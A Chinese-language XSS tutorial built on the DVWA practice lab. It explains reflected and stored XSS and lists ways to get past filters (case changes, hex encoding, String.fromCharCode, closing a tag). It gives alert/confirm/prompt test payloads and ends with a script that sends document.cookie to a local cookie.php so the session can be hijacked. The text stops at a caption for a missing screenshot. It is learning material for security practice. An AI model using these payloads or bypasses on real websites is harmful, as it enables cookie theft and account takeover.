##XSS

###概念:

一种出现在web应用程序中的计算机安全漏洞。由于web应用程序对用户的输入过滤不严而产生。恶意攻击者通过“HTML注入”篡改网页,插入恶意脚本。当用户在浏览网页时,就会执行实现其中的恶意脚本,从而控制用户浏览器行为的一种攻击方式。就是 利用Javascript嵌入网站前端获取权限,从而攻击网站。

###危害:

1.网络钓鱼,包括盗取各类的用户账号

  1. 窃取用户cookie
    3.强制弹出广告页面,刷流量
    4.页面挂马
    5.提升用户权限,进一步渗透网站
    6.传播跨站脚本蠕虫

###分类(反射型和储存型):

反射型XSS: 反射型跨站脚本也称作非持久型、参数型跨站脚本,这类型的脚本最常见,也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中。一般使用的已经构造好的恶意URL发送给受害者,诱使受害者点击触发,只执行一次非持久化。 原理图送上!

储存型XSS(危害最大): 存储型XSS比反射型跨站脚本根据威胁,并且可能影响到web服务器的自身安全。此类XSS不需要用户点击特定的URL就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意的代码页面就会执行恶意代码。

###绕过XSS限制的方法
一般网站会有XSS过滤规则或waf保护会使我们的XSS无法生效。有以下方法绕过:

1.绕过magic_quotes_gpc(String.fromCharCode()函数)
2.HEX编码
3.改变大小写
4.关闭标签("><script>alert('xss');</script>

###检测XSS:
1.在low程度下检测(即无过滤保护):
反射型

1.输入<script>alert('1')</script>

2.输入<script>confirm('hello')</script>

3.输入<script>prompt('请输入账号')</script>

储存型

1.Name随意输入,Message输入与反射型相同即可(2.3.也是)

2.
3.
2.在medium程度下检测:
反射型
1.输入<scrIPT>alert('1')</scRiPT> (运用更改大小写)

之后相同,可使用更改大小写绕过过滤。
储存型也类似。就不再多上截图了。

###用XSS获取cookie
1.先在phpstudy下的www文件中的dvwa文件下创建cookie.php,编写脚本

2.我们之前已经在low的情况下检测到存在XSS漏洞,输入攻击脚本<script>document.location=‘http://127.0.0.1/dvwa/cookie.php?cookie=’+document.cookie;</script> 后,会生成cookie.txt文件,里面记录了cookie。


3.更改cookie和安全程度security,地址将login.php改为index.php即可。

成功后: